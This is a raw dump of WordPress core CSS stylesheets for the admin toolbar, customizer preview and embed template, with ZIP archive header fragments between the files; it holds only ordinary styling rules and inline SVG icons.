#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: #3c434a; } #wpadminbar .quicklinks .menupop .ab-sub-secondary > li > a:hover, #wpadminbar .quicklinks .menupop .ab-sub-secondary > li .ab-item:focus a { color: #72aee6; } #wpadminbar .quicklinks a span#ab-updates { background: #f0f0f1; color: #2c3338; display: inline; padding: 2px 5px; font-size: 10px; font-weight: 600; border-radius: 10px; } #wpadminbar .quicklinks a:hover span#ab-updates { background: #fff; color: #000; } #wpadminbar .ab-top-secondary { float: left; } #wpadminbar ul li:last-child, #wpadminbar ul li:last-child .ab-item { box-shadow: none; } /** * Recovery Mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #d63638; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: #d63638; } /** * My Account */ #wp-admin-bar-my-account > ul { min-width: 198px; } #wp-admin-bar-my-account:not(.with-avatar) > .ab-item { display: inline-block; } #wp-admin-bar-my-account > .ab-item:before { content: "\f110"; content: "\f110" / ''; top: 2px; float: left; margin-right: 6px; margin-left: 0; } #wp-admin-bar-my-account.with-avatar > .ab-item:before { display: none; content: none; } #wp-admin-bar-my-account.with-avatar > ul { min-width: 270px; } #wpadminbar #wp-admin-bar-user-actions > li { margin-right: 16px; margin-left: 16px; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu { padding: 6px 0 12px; } #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin-right: 88px; } #wpadminbar #wp-admin-bar-user-info { margin-top: 6px; margin-bottom: 15px; height: auto; background: none; } #wp-admin-bar-user-info .avatar { position: absolute; right: -72px; top: 4px; width: 64px; height: 64px; } #wpadminbar #wp-admin-bar-user-info a { background: none; height: auto; } #wpadminbar #wp-admin-bar-user-info span { background: none; padding: 0; height: 18px; } #wpadminbar #wp-admin-bar-user-info .display-name, #wpadminbar #wp-admin-bar-user-info .username { display: block; } #wpadminbar #wp-admin-bar-user-info .username { color: #a7aaad; font-size: 11px; } #wpadminbar #wp-admin-bar-my-account.with-avatar > .ab-empty-item img, #wpadminbar #wp-admin-bar-my-account.with-avatar > a img { width: auto; height: 16px; padding: 0; border: 1px solid #8c8f94; background: #f0f0f1; line-height: 1.84615384; vertical-align: middle; margin: -4px 6px 0 0; float: none; display: inline; } /** * WP Logo */ #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon { width: 15px; height: 20px; margin-left: 0; padding: 6px 0 5px; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item { padding: 0 7px; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before { content: "\f120"; content: "\f120" / ''; top: 2px; } /* * My Sites & Site Title */ #wpadminbar .quicklinks li .blavatar { display: inline-block; vertical-align: middle; font: normal 16px/1 dashicons !important; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; color: #f0f0f1; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar { color: #72aee6; } #wpadminbar .quicklinks li img.blavatar, #wpadminbar .quicklinks li div.blavatar:before { height: 16px; width: 16px; margin: 0 -2px 2px 8px; } #wpadminbar .quicklinks li div.blavatar:before { content: "\f120"; content: "\f120" / ''; display: inline-block; } #wpadminbar #wp-admin-bar-appearance { margin-top: -12px; } #wpadminbar #wp-admin-bar-my-sites > .ab-item:before, #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f541"; content: "\f541" / ''; top: 2px; } #wpadminbar #wp-admin-bar-site-editor > .ab-item:before { content: "\f100"; content: "\f100" / ''; top: 2px; } #wpadminbar #wp-admin-bar-customize > .ab-item:before { content: "\f540"; content: "\f540" / ''; top: 2px; } #wpadminbar #wp-admin-bar-edit > .ab-item:before { content: "\f464"; content: "\f464" / ''; top: 2px; } #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f226"; content: "\f226" / ''; } .wp-admin #wpadminbar #wp-admin-bar-site-name > .ab-item:before { content: "\f102"; content: "\f102" / ''; } /** * Comments */ #wpadminbar #wp-admin-bar-comments .ab-icon { margin-left: 6px; } #wpadminbar #wp-admin-bar-comments .ab-icon:before { content: "\f101"; content: "\f101" / ''; top: 3px; } #wpadminbar #wp-admin-bar-comments .count-0 { opacity: .5; } /** * New Content */ #wpadminbar #wp-admin-bar-new-content .ab-icon:before { content: "\f132"; content: "\f132" / ''; top: 4px; } /** * Updates */ #wpadminbar #wp-admin-bar-updates .ab-icon:before { content: "\f463"; content: "\f463" / ''; top: 2px; } #wpadminbar #wp-admin-bar-updates.spin .ab-icon:before { display: inline-block; animation: rotation 2s infinite linear; } @media (prefers-reduced-motion: reduce) { #wpadminbar #wp-admin-bar-updates.spin .ab-icon:before { animation: none; } } /** * Search */ #wpadminbar #wp-admin-bar-search .ab-item { padding: 0; background: transparent; } #wpadminbar #adminbarsearch { position: relative; height: 32px; padding: 0 2px; z-index: 1; } #wpadminbar #adminbarsearch:before { position: absolute; top: 6px; right: 5px; z-index: 20; font: normal 20px/1 dashicons !important; content: "\f179"; content: "\f179" / ''; speak: never; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* The admin bar search field needs to reset many styles that might be inherited from the active Theme CSS. See ticket #40313. */ #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input { display: inline-block; float: none; position: relative; z-index: 30; font-size: 13px; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 1.84615384; text-indent: 0; height: 24px; width: 24px; max-width: none; padding: 0 24px 0 3px; margin: 0; color: #c3c4c7; background-color: rgba(255, 255, 255, 0); border: none; outline: none; cursor: pointer; box-shadow: none; box-sizing: border-box; transition-duration: 400ms; transition-property: width, background; transition-timing-function: ease; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { z-index: 10; color: #000; width: 200px; background-color: rgba(255, 255, 255, 0.9); cursor: text; border: 0; } #wpadminbar #adminbarsearch .adminbar-button { display: none; } /** * Customize support classes */ .no-customize-support .hide-if-no-customize, .customize-support .hide-if-customize, .no-customize-support #wpadminbar .hide-if-no-customize, .no-customize-support.wp-core-ui .hide-if-no-customize, .no-customize-support .wp-core-ui .hide-if-no-customize, .customize-support #wpadminbar .hide-if-customize, .customize-support.wp-core-ui .hide-if-customize, .customize-support .wp-core-ui .hide-if-customize { display: none; } /* Skip link */ #wpadminbar .screen-reader-text, #wpadminbar .screen-reader-text span { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } #wpadminbar .screen-reader-shortcut { position: absolute; top: -1000em; right: 6px; height: auto; width: auto; display: block; font-size: 14px; font-weight: 600; padding: 15px 23px 14px; background: #f0f0f1; color: #2271b1; z-index: 100000; line-height: normal; text-decoration: none; } #wpadminbar .screen-reader-shortcut:focus { top: 7px; background: #f0f0f1; box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.6); } @media screen and (max-width: 782px) { html { --wp-admin--admin-bar--height: 46px; } /* Toolbar Touchification*/ html #wpadminbar { height: 46px; min-width: 240px; /* match the min-width of the body in wp-admin/css/common.css */ } #wpadminbar * { font-size: 14px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 2.28571428; } #wpadminbar .quicklinks > ul > li > a, #wpadminbar .quicklinks .ab-empty-item { padding: 0; height: 46px; line-height: 3.28571428; width: auto; } #wpadminbar .ab-icon { font: 40px/1 dashicons !important; margin: 0; padding: 0; width: 52px; height: 46px; text-align: center; } #wpadminbar .ab-icon:before { text-align: center; } #wpadminbar .ab-submenu { padding: 0; } #wpadminbar #wp-admin-bar-site-name a.ab-item, #wpadminbar #wp-admin-bar-my-sites a.ab-item, #wpadminbar #wp-admin-bar-my-account a.ab-item { text-overflow: clip; } #wpadminbar .quicklinks .menupop ul li .ab-item, #wpadminbar .quicklinks .menupop ul li a strong, #wpadminbar .quicklinks .menupop.hover ul li .ab-item, #wpadminbar.nojs .quicklinks .menupop:hover ul li .ab-item, #wpadminbar .shortlink-input { line-height: 1.6; } #wpadminbar .ab-label { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } #wpadminbar .menupop li:hover > .ab-sub-wrapper, #wpadminbar .menupop li.hover > .ab-sub-wrapper { margin-top: -46px; } #wpadminbar .ab-top-menu .menupop .ab-sub-wrapper .menupop > .ab-item { padding-left: 30px; } #wpadminbar .menupop .menupop > .ab-item:before { top: 10px; left: 6px; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper .ab-item { font-size: 16px; padding: 8px 16px; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper a:empty { display: none; } /* WP logo */ #wpadminbar #wp-admin-bar-wp-logo > .ab-item { padding: 0; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon { padding: 0; width: 52px; height: 46px; text-align: center; vertical-align: top; } #wpadminbar #wp-admin-bar-wp-logo > .ab-item .ab-icon:before { font: 28px/1 dashicons !important; top: -3px; } #wpadminbar .ab-icon, #wpadminbar .ab-item:before { padding: 0; } /* My Sites and "Site Title" menu */ #wpadminbar #wp-admin-bar-my-sites > .ab-item, #wpadminbar #wp-admin-bar-site-name > .ab-item, #wpadminbar #wp-admin-bar-site-editor > .ab-item, #wpadminbar #wp-admin-bar-customize > .ab-item, #wpadminbar #wp-admin-bar-edit > .ab-item, #wpadminbar #wp-admin-bar-my-account > .ab-item { text-indent: 100%; white-space: nowrap; overflow: hidden; width: 52px; padding: 0; color: #a7aaad; /* @todo not needed? this text is hidden */ position: relative; } #wpadminbar > #wp-toolbar > #wp-admin-bar-root-default .ab-icon, #wpadminbar .ab-icon, #wpadminbar .ab-item:before { padding: 0; margin-left: 0; } #wpadminbar #wp-admin-bar-edit > .ab-item:before, #wpadminbar #wp-admin-bar-my-sites > .ab-item:before, #wpadminbar #wp-admin-bar-site-name > .ab-item:before, #wpadminbar #wp-admin-bar-site-editor > .ab-item:before, #wpadminbar #wp-admin-bar-customize > .ab-item:before, #wpadminbar #wp-admin-bar-my-account > .ab-item:before { display: block; text-indent: 0; font: normal 32px/1 dashicons; top: 7px; width: 52px; text-align: center; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #wpadminbar #wp-admin-bar-appearance { margin-top: 0; } #wpadminbar .quicklinks li .blavatar:before { display: none; } /* Search */ #wpadminbar #wp-admin-bar-search { display: none; } /* New Content */ #wpadminbar #wp-admin-bar-new-content .ab-icon:before { top: 0; line-height: 1.26; height: 46px !important; text-align: center; width: 52px; display: block; } /* Updates */ #wpadminbar #wp-admin-bar-updates { text-align: center; } #wpadminbar #wp-admin-bar-updates .ab-icon:before { top: 3px; } /* Comments */ #wpadminbar #wp-admin-bar-comments .ab-icon { margin: 0; } #wpadminbar #wp-admin-bar-comments .ab-icon:before { display: block; font-size: 34px; height: 46px; line-height: 1.38235294; top: 0; } /* My Account */ #wpadminbar #wp-admin-bar-my-account > a { position: relative; white-space: nowrap; text-indent: 150%; /* More than 100% indention is needed since this element has padding */ width: 28px; padding: 0 10px; overflow: hidden; /* Prevent link text from forcing horizontal scrolling on mobile */ } #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { position: absolute; top: 13px; left: 10px; width: 26px; height: 26px; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu { padding: 0; } #wpadminbar #wp-admin-bar-user-actions.ab-submenu img.avatar { display: none; } #wpadminbar #wp-admin-bar-my-account.with-avatar #wp-admin-bar-user-actions > li { margin: 0; } #wpadminbar #wp-admin-bar-user-info .display-name { height: auto; font-size: 16px; line-height: 1.5; color: #f0f0f1; } #wpadminbar #wp-admin-bar-user-info a { padding-top: 4px; } #wpadminbar #wp-admin-bar-user-info .username { line-height: 0.8 !important; margin-bottom: -2px; } /* Show only default top level items */ #wp-toolbar > ul > li { display: none; } #wpadminbar li#wp-admin-bar-menu-toggle, #wpadminbar li#wp-admin-bar-wp-logo, #wpadminbar li#wp-admin-bar-my-sites, #wpadminbar li#wp-admin-bar-updates, #wpadminbar li#wp-admin-bar-site-name, #wpadminbar li#wp-admin-bar-site-editor, #wpadminbar li#wp-admin-bar-customize, #wpadminbar li#wp-admin-bar-new-content, #wpadminbar li#wp-admin-bar-edit, #wpadminbar li#wp-admin-bar-comments, #wpadminbar li#wp-admin-bar-my-account { display: block; } /* Allow dropdown list items to appear normally */ #wpadminbar li:hover ul li, #wpadminbar li.hover ul li, #wpadminbar li:hover ul li:hover ul li { display: list-item; } /* Override default min-width so dropdown lists aren't stretched to 100% viewport width at responsive sizes. */ #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { min-width: fit-content; } #wpadminbar ul#wp-admin-bar-root-default > li { margin-left: 0; } /* Experimental fix for touch toolbar dropdown positioning */ #wpadminbar .ab-top-menu, #wpadminbar .ab-top-secondary, #wpadminbar #wp-admin-bar-wp-logo, #wpadminbar #wp-admin-bar-my-sites, #wpadminbar #wp-admin-bar-site-name, #wpadminbar #wp-admin-bar-updates, #wpadminbar #wp-admin-bar-comments, #wpadminbar #wp-admin-bar-new-content, #wpadminbar #wp-admin-bar-edit, #wpadminbar #wp-admin-bar-my-account { position: static; } .network-admin #wpadminbar ul#wp-admin-bar-top-secondary > li#wp-admin-bar-my-account { margin-left: 0; } /* Realign arrows on taller responsive submenus */ #wpadminbar .ab-top-secondary .menupop .menupop > .ab-item:before { top: 10px; right: 0; } } /* Smartphone */ @media screen and (max-width: 600px) { #wpadminbar { position: absolute; } #wp-responsive-overlay { position: fixed; top: 0; right: 0; width: 100%; height: 100%; z-index: 400; } #wpadminbar .ab-top-menu > .menupop > .ab-sub-wrapper { width: 100%; right: 0; } #wpadminbar .menupop .menupop > .ab-item:before { display: none; } #wpadminbar #wp-admin-bar-wp-logo.menupop .ab-sub-wrapper { margin-right: 0; } #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper { margin: 0; width: 100%; top: auto; right: auto; position: relative; } #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper .ab-item { font-size: 16px; padding: 6px 30px 19px 15px; } #wpadminbar li:hover ul li ul li { display: list-item; } #wpadminbar li#wp-admin-bar-wp-logo, #wpadminbar li#wp-admin-bar-updates { display: none; } /* Make submenus full-width at this size */ #wpadminbar .ab-top-menu > .menupop li > .ab-sub-wrapper { position: static; box-shadow: none; } } /* Very narrow screens */ @media screen and (max-width: 400px) { #wpadminbar li#wp-admin-bar-comments { display: none; } } PK!>÷]UUcss/customize-preview-rtl.cssnu&1i„/*! This file is auto-generated */ .customize-partial-refreshing { opacity: 0.25; transition: opacity 0.25s; cursor: progress; } /* Override highlight when refreshing */ .customize-partial-refreshing.widget-customizer-highlighted-widget { box-shadow: none; } /* Make shortcut buttons essentially invisible */ .widget .customize-partial-edit-shortcut, .customize-partial-edit-shortcut { position: absolute; float: right; width: 1px; /* required to have a size to be focusable in Safari */ height: 1px; padding: 0; margin: -1px -1px 0 0; border: 0; background: transparent; color: transparent; box-shadow: none; outline: none; z-index: 5; } /** * Styles for the actual shortcut * * Note that some properties are overly verbose to prevent theme interference. */ .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { position: absolute; right: -30px; top: 2px; color: #fff; width: 30px; height: 30px; min-width: 30px; min-height: 30px; line-height: 1 !important; font-size: 18px; z-index: 5; background: #3582c4 !important; border-radius: 50%; border: 2px solid #fff; box-shadow: 0 2px 1px rgba(60, 67, 74, 0.15); text-align: center; cursor: pointer; box-sizing: border-box; padding: 3px; animation-fill-mode: both; animation-duration: .4s; opacity: 0; pointer-events: none; text-shadow: 0 -1px 1px #135e96, -1px 0 1px #135e96, 0 1px 1px #135e96, 1px 0 1px #135e96; } .wp-custom-header .customize-partial-edit-shortcut button { right: 2px } .customize-partial-edit-shortcut button svg { fill: #fff; min-width: 20px; min-height: 20px; width: 20px; height: 20px; margin: auto; } .customize-partial-edit-shortcut button:hover { background: #4f94d4 !important; /* matches primary buttons */ } .customize-partial-edit-shortcut button:focus { box-shadow: 0 0 0 2px #4f94d4; } body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button { animation-name: customize-partial-edit-shortcut-bounce-appear; pointer-events: auto; } body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button { animation-name: customize-partial-edit-shortcut-bounce-disappear; pointer-events: none; } .page-sidebar-collapsed .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button { visibility: hidden; } @keyframes customize-partial-edit-shortcut-bounce-appear { from, 20%, 40%, 60%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 0; transform: scale3d(.3, .3, .3); } 20% { transform: scale3d(1.1, 1.1, 1.1); } 40% { transform: scale3d(.9, .9, .9); } 60% { opacity: 1; transform: scale3d(1.03, 1.03, 1.03); } 80% { transform: scale3d(.97, .97, .97); } to { opacity: 1; transform: scale3d(1, 1, 1); } } @keyframes customize-partial-edit-shortcut-bounce-disappear { from, 20%, 40%, 60%, 80%, to { animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000); } 0% { opacity: 1; transform: scale3d(1, 1, 1); } 20% { transform: scale3d(.97, .97, .97); } 40% { opacity: 1; transform: scale3d(1.03, 1.03, 1.03); } 60% { transform: scale3d(.9, .9, .9); } 80% { transform: scale3d(1.1, 1.1, 1.1); } to { opacity: 0; transform: scale3d(.3, .3, .3); } } @media screen and (max-width: 800px) { .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { right: -32px; } } @media screen and (max-width: 320px) { .widget .customize-partial-edit-shortcut button, .customize-partial-edit-shortcut button { right: -30px; } } PK! žÒ£ââcss/wp-embed-template.cssnuȯÝíhtml, body { padding: 0; margin: 0; } body { font-family: sans-serif; } /* Text meant only for screen readers */ .screen-reader-text { border: 0; clip-path: inset(50%); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; word-wrap: normal !important; } /* Dashicons */ .dashicons { display: inline-block; width: 20px; height: 20px; background-color: transparent; background-repeat: no-repeat; background-size: 20px; background-position: center; transition: background .1s ease-in; position: relative; top: 5px; } .dashicons-no { background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M15.55%2013.7l-2.19%202.06-3.42-3.65-3.64%203.43-2.06-2.18%203.64-3.43-3.42-3.64%202.18-2.06%203.43%203.64%203.64-3.42%202.05%202.18-3.64%203.43z%27%20fill%3D%27%23fff%27%2F%3E%3C%2Fsvg%3E"); } .dashicons-admin-comments { background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%23646970%27%2F%3E%3C%2Fsvg%3E"); } .wp-embed-comments a:hover .dashicons-admin-comments { background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M5%202h9q.82%200%201.41.59T16%204v7q0%20.82-.59%201.41T14%2013h-2l-5%205v-5H5q-.82%200-1.41-.59T3%2011V4q0-.82.59-1.41T5%202z%27%20fill%3D%27%23135e96%27%2F%3E%3C%2Fsvg%3E"); } .dashicons-share { background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%23646970%27%2F%3E%3C%2Fsvg%3E"); display: none; } .js .dashicons-share { display: inline-block; } .wp-embed-share-dialog-open:hover .dashicons-share { background-image: url("data:image/svg+xml;charset=utf8,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%2020%2020%27%3E%3Cpath%20d%3D%27M14.5%2012q1.24%200%202.12.88T17.5%2015t-.88%202.12-2.12.88-2.12-.88T11.5%2015q0-.34.09-.69l-4.38-2.3Q6.32%2013%205%2013q-1.24%200-2.12-.88T2%2010t.88-2.12T5%207q1.3%200%202.21.99l4.38-2.3q-.09-.35-.09-.69%200-1.24.88-2.12T14.5%202t2.12.88T17.5%205t-.88%202.12T14.5%208q-1.3%200-2.21-.99l-4.38%202.3Q8%209.66%208%2010t-.09.69l4.38%202.3q.89-.99%202.21-.99z%27%20fill%3D%27%23135e96%27%2F%3E%3C%2Fsvg%3E"); } .wp-embed { padding: 25px; font-size: 14px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 1.5; color: #646970; background: #fff; border: 1px solid #dcdcde; box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05); /* Clearfix */ overflow: auto; zoom: 1; } .wp-embed a { color: #646970; text-decoration: none; } .wp-embed a:hover { text-decoration: underline; } .wp-embed-featured-image { margin-bottom: 20px; } .wp-embed-featured-image img { width: 100%; height: auto; border: none; } .wp-embed-featured-image.square { float: left; max-width: 160px; margin-right: 20px; } .wp-embed p { margin: 0; } p.wp-embed-heading { margin: 0 0 15px; font-weight: 600; font-size: 22px; line-height: 1.3; } .wp-embed-heading a { color: #2c3338; } .wp-embed .wp-embed-more { color: #2271b1; text-decoration: underline; } .wp-embed-footer { display: table; width: 100%; margin-top: 30px; } .wp-embed-site-icon { position: absolute; top: 50%; left: 0; transform: translateY(-50%); height: 25px; width: 25px; border: 0; } .wp-embed-site-title { font-weight: 600; line-height: 1.78571428; } .wp-embed-site-title a { position: relative; display: inline-block; padding-left: 35px; } .wp-embed-site-title, .wp-embed-meta { display: table-cell; } .wp-embed-meta { text-align: right; white-space: nowrap; vertical-align: middle; } .wp-embed-comments, .wp-embed-share { display: inline; } .wp-embed-meta a:hover { text-decoration: none; color: #135e96; } .wp-embed-comments a { line-height: 1.78571428; display: inline-block; } .wp-embed-comments + .wp-embed-share { margin-left: 10px; } .wp-embed-share-dialog { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-color: #1d2327; background-color: rgba(0, 0, 0, 0.9); color: #fff; opacity: 1; transition: opacity .25s ease-in-out; } .wp-embed-share-dialog.hidden { opacity: 0; visibility: hidden; } .wp-embed-share-dialog-open, .wp-embed-share-dialog-close { margin: -8px 0 0; padding: 0; background: transparent; border: none; cursor: pointer; outline: none; } .wp-embed-share-dialog-open .dashicons, .wp-embed-share-dialog-close .dashicons { padding: 4px; } .wp-embed-share-dialog-open .dashicons { top: 8px; } .wp-embed-share-dialog-open:focus .dashicons, .wp-embed-share-dialog-close:focus .dashicons { box-shadow: 0 0 0 2px #2271b1; /* Only visible in Windows High Contrast mode */ outline: 2px solid transparent; border-radius: 100%; } .wp-embed-share-dialog-close { position: absolute; top: 20px; right: 20px; font-size: 22px; } .wp-embed-share-dialog-close:hover { text-decoration: none; } .wp-embed-share-dialog-close .dashicons { height: 24px; width: 24px; background-size: 24px; } .wp-embed-share-dialog-content { height: 100%; transform-style: preserve-3d; overflow: hidden; } .wp-embed-share-dialog-text { margin-top: 25px; padding: 20px; } .wp-embed-share-tabs { margin: 0 0 20px; padding: 0; list-style: none; } .wp-embed-share-tab-button { display: inline-block; } .wp-embed-share-tab-button button { margin: 0; padding: 0; border: none; background: transparent; font-size: 16px; line-height: 1.3; color: #a7aaad; cursor: pointer; transition: color .1s ease-in; } .wp-embed-share-tab-button [aria-selected="true"] { color: #fff; } .wp-embed-share-tab-button button:hover { color: #fff; } .wp-embed-share-tab-button + .wp-embed-share-tab-button { margin: 0 0 0 10px; padding: 0 0 0 11px; border-left: 1px solid #a7aaad; } .wp-embed-share-tab[aria-hidden="true"] { display: none; } p.wp-embed-share-description { margin: 0; font-size: 14px; line-height: 1; font-style: italic; color: #a7aaad; } .wp-embed-share-input { box-sizing: border-box; width: 100%; border: none; height: 28px; margin: 0 0 10px; padding: 0 5px; font-size: 14px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; line-height: 1.5; resize: none; cursor: text; } textarea.wp-embed-share-input { height: 72px; } html[dir="rtl"] .wp-embed-featured-image.square { float: right; margin-right: 0; margin-left: 20px; } html[dir="rtl"] .wp-embed-site-title a { padding-left: 0; padding-right: 35px; } html[dir="rtl"] .wp-embed-site-icon { margin-right: 0; margin-left: 10px; left: auto; right: 0; } html[dir="rtl"] .wp-embed-meta { text-align: left; } html[dir="rtl"] .wp-embed-share { margin-left: 0; margin-right: 10px; } html[dir="rtl"] .wp-embed-share-dialog-close { right: auto; left: 20px; } html[dir="rtl"] .wp-embed-share-tab-button + .wp-embed-share-tab-button { margin: 0 10px 0 0; padding: 0 11px 0 0; border-left: none; border-right: 1px solid #a7aaad; } PK!ødå; ; !css/customize-preview-rtl.min.cssnu&1i„/*! This file is auto-generated */ .customize-partial-refreshing{opacity:.25;transition:opacity .25s;cursor:progress}.customize-partial-refreshing.widget-customizer-highlighted-widget{box-shadow:none}.customize-partial-edit-shortcut,.widget .customize-partial-edit-shortcut{position:absolute;float:right;width:1px;height:1px;padding:0;margin:-1px -1px 0 0;border:0;background:0 0;color:transparent;box-shadow:none;outline:0;z-index:5}.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{position:absolute;right:-30px;top:2px;color:#fff;width:30px;height:30px;min-width:30px;min-height:30px;line-height:1!important;font-size:18px;z-index:5;background:#3582c4!important;border-radius:50%;border:2px solid #fff;box-shadow:0 2px 1px rgba(60,67,74,.15);text-align:center;cursor:pointer;box-sizing:border-box;padding:3px;animation-fill-mode:both;animation-duration:.4s;opacity:0;pointer-events:none;text-shadow:0 -1px 1px #135e96,-1px 0 1px #135e96,0 1px 1px #135e96,1px 0 1px #135e96}.wp-custom-header .customize-partial-edit-shortcut button{right:2px}.customize-partial-edit-shortcut button svg{fill:#fff;min-width:20px;min-height:20px;width:20px;height:20px;margin:auto}.customize-partial-edit-shortcut button:hover{background:#4f94d4!important}.customize-partial-edit-shortcut button:focus{box-shadow:0 0 0 2px #4f94d4}body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-appear;pointer-events:auto}body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button{animation-name:customize-partial-edit-shortcut-bounce-disappear;pointer-events:none}.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button,.page-sidebar-collapsed .customize-partial-edit-shortcut button{visibility:hidden}@keyframes customize-partial-edit-shortcut-bounce-appear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;transform:scale3d(.3,.3,.3)}20%{transform:scale3d(1.1,1.1,1.1)}40%{transform:scale3d(.9,.9,.9)}60%{opacity:1;transform:scale3d(1.03,1.03,1.03)}80%{transform:scale3d(.97,.97,.97)}to{opacity:1;transform:scale3d(1,1,1)}}@keyframes customize-partial-edit-shortcut-bounce-disappear{20%,40%,60%,80%,from,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:1;transform:scale3d(1,1,1)}20%{transform:scale3d(.97,.97,.97)}40%{opacity:1;transform:scale3d(1.03,1.03,1.03)}60%{transform:scale3d(.9,.9,.9)}80%{transform:scale3d(1.1,1.1,1.1)}to{opacity:0;transform:scale3d(.3,.3,.3)}}@media screen and (max-width:800px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{right:-32px}}@media screen and (max-width:320px){.customize-partial-edit-shortcut button,.widget .customize-partial-edit-shortcut button{right:-30px}}PK!äoÖ(a(acss/admin-bar.cssnuȯÝíhtml { --wp-admin--admin-bar--height: 32px; scroll-padding-top: var(--wp-admin--admin-bar--height); } #wpadminbar * { height: auto; width: auto; margin: 0; padding: 0; position: static; text-shadow: none; text-transform: none; letter-spacing: normal; font-size: 13px; font-weight: 400; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", 